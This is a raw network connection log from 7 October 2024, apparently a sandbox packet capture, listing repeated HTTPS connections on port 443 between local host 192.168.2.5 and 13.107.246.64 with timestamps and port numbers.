Oct 7, 2024 21:53:40.370426893 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.444710970 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.444761038 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.444860935 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.445040941 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.445053101 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.445063114 CEST	50023	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.445067883 CEST	443	50023	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.447786093 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.447813034 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.447892904 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.448056936 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.448062897 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.653090000 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.654045105 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.654045105 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.654119968 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.654145002 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.749994040 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.751259089 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.751312971 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.751470089 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.751470089 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.751470089 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.751470089 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.760582924 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.760647058 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.760755062 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.760924101 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.760957956 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.877584934 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.878056049 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.878077984 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.878503084 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.878510952 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.891360044 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.891902924 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.891923904 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.892333984 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.892342091 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.972049952 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.972270966 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.972327948 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.972409964 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.972433090 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.972445965 CEST	50025	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.972454071 CEST	443	50025	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.975416899 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.975450993 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.975512981 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.975723028 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.975734949 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.977601051 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.977993965 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.978014946 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.978516102 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.978523016 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.987270117 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.987339973 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.987426996 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.987523079 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.987523079 CEST	50026	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.987539053 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.987550974 CEST	443	50026	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.990442038 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.990483999 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:40.990629911 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.990762949 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:40.990777016 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.048887014 CEST	50024	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.048928022 CEST	443	50024	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.073107004 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.073360920 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.073400021 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.073457956 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.073561907 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.073571920 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.073580980 CEST	50027	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.073585987 CEST	443	50027	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.076344967 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.076376915 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.076445103 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.076587915 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.076603889 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.080504894 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.080832958 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.080853939 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.081357956 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.081367016 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.208745956 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.208806038 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.208873034 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.209100008 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.209111929 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.209121943 CEST	50028	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.209126949 CEST	443	50028	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.211884022 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.211919069 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.212039948 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.212194920 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.212212086 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.382982016 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.383517981 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.383552074 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.383959055 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.383965015 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.539729118 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.540014029 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.540083885 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.540143967 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.540208101 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.540208101 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.540250063 CEST	50029	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.540285110 CEST	443	50029	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.542929888 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.542982101 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.543080091 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.543196917 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.543215990 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.591892004 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.592547894 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.592570066 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.592992067 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.593003988 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.649813890 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.650285959 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.650316000 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.650774956 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.650779963 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.703291893 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.703345060 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.703536987 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.703574896 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.703596115 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.703609943 CEST	50030	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.703617096 CEST	443	50030	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.706542969 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.706717014 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.706754923 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.707066059 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.707093954 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.707117081 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.707407951 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.707422018 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.707520962 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.707526922 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.750884056 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.750940084 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.751159906 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.751228094 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.751246929 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.751256943 CEST	50031	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.751261950 CEST	443	50031	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.755583048 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.755618095 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.755681992 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.755860090 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.755871058 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.803415060 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.803476095 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.803647041 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.803774118 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.803792000 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.803802013 CEST	50032	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.803807020 CEST	443	50032	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.806639910 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.806680918 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.806790113 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.807137012 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.807153940 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.830075979 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.831648111 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.831660986 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.832103968 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.832109928 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.932971001 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.933010101 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.933056116 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.933142900 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.933331013 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.933336973 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.933345079 CEST	50033	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.933348894 CEST	443	50033	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.935746908 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.935784101 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:41.938425064 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.938618898 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:41.938636065 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.165281057 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.165755987 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.165780067 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.166214943 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.166224003 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.261615038 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.261873007 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.261945009 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.262084961 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.262105942 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.262121916 CEST	50034	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.262129068 CEST	443	50034	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.265021086 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.265062094 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.265290022 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.265486956 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.265501976 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.340538025 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.341001987 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.341022968 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.341500998 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.341506004 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.362282038 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.362673044 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.362685919 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.363065958 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.363070011 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.414896965 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.415364027 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.415376902 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.415884018 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.415889978 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.440421104 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.440776110 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.440812111 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.440846920 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.440881014 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.441632032 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.441651106 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.441659927 CEST	50035	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.441664934 CEST	443	50035	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.444747925 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.444792986 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.444881916 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.445054054 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.445070028 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.463932037 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.464257956 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.464328051 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.464447021 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.464468956 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.464476109 CEST	50036	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.464483976 CEST	443	50036	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.469319105 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.469357014 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.469433069 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.472848892 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.472867966 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.514219046 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.514991045 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.515031099 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.515043974 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.515100956 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.515166998 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.515186071 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.515199900 CEST	50037	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.515206099 CEST	443	50037	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.519011974 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.519053936 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.519143105 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.519581079 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.519597054 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.546708107 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.547243118 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.547257900 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.548057079 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.548062086 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.649027109 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.649101019 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.649308920 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.649343014 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.649360895 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.649377108 CEST	50038	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.649384022 CEST	443	50038	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.651885986 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.651906967 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.651973009 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.652096987 CEST	50043	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.652110100 CEST	443	50043	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.888727903 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.889302969 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.889322042 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.889640093 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.889647007 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.982847929 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.983063936 CEST	443	50039	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.983270884 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.983270884 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.983270884 CEST	50039	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.985830069 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.985882998 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:42.985965014 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.986114025 CEST	50044	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:42.986131907 CEST	443	50044	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.059518099 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.060113907 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.060178041 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.060405016 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.060420990 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.077634096 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.077914000 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.077939987 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.078349113 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.078352928 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.140860081 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.141321898 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.141349077 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.141767979 CEST	50042	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.141772985 CEST	443	50042	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.154913902 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.155195951 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.155267954 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.155492067 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.155492067 CEST	50040	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.155527115 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.155553102 CEST	443	50040	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.167882919 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.167968035 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.168039083 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.168181896 CEST	50045	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.168216944 CEST	443	50045	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.187113047 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.187150955 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.187191963 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.187206984 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.187232971 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.187453985 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.187470913 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.187479973 CEST	50041	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.187485933 CEST	443	50041	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.189851999 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.189887047 CEST	443	50046	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:43.190062046 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.190203905 CEST	50046	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:43.190232992 CEST	443	50046	13.107.246.64	192.168.2.5
